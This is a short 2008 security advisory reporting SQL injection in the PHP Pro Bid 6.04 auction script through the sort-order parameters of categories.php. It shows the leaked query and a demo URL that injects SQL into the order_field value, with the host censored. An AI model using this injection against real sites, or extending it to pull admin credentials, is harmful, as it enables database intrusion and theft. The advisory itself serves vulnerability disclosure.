Affected software: PHP pro bid v 6.04 (as at 2008-09-11)
Vendor description: The Leading Proffessional (sic) Auction Script
Software available online today written in PHP/ Mysql
Impact: SQL injection
Description:
categories.php and other pages of php pro bid accept user-supplied
order-by and ASC/DESC fields.
The software prints helpful messages too:
SQL Query: SELECT a.auction_id, a.name, a.start_price, a.max_bid,
a.nb_bids, a.currency, a.end_time, a.closed, a.bold, a.hl,
a.buyout_price, a.is_offer, a.reserve_price, a.owner_id FROM
probid_auctions a WHERE a.active=1 AND a.approved=1 AND a.closed=0 AND
a.deleted=0 AND a.list_in!='store' AND a.creation_in_progress=0 GROUP
BY a.auction_id ORDER BY (select 1)x LIMIT 0, 20
Leveraging an admin user name and password is left as an exercise to the reader.
Demo:
http://example.com/phpprobidlocation/categories.php?start=0&limit=20&par
ent_id=669&keywords_cat_search=&buyout_price=&reserve_price=&quantity=&e
nable_swap=&order_field=(select%201)x&order_type=%20
Solution:
- Don't let junior programmers add sort-by column features. The original
design was much nicer than the later hacks.
- If you fix a bug (for example, in search.php), take the trouble to
look for equivalent bugs in other pages. Did I mention that the bug
is on another page too? Not? Oh well.
Timeline:
- Posted this as a comment on the vendor contact-us web form last week.
- Sent this to bugtraq this week (yesterday)
- Bugtraq said post not exploits against live sites
- URL of vendor demo site duly censored, in the interests of full disclosure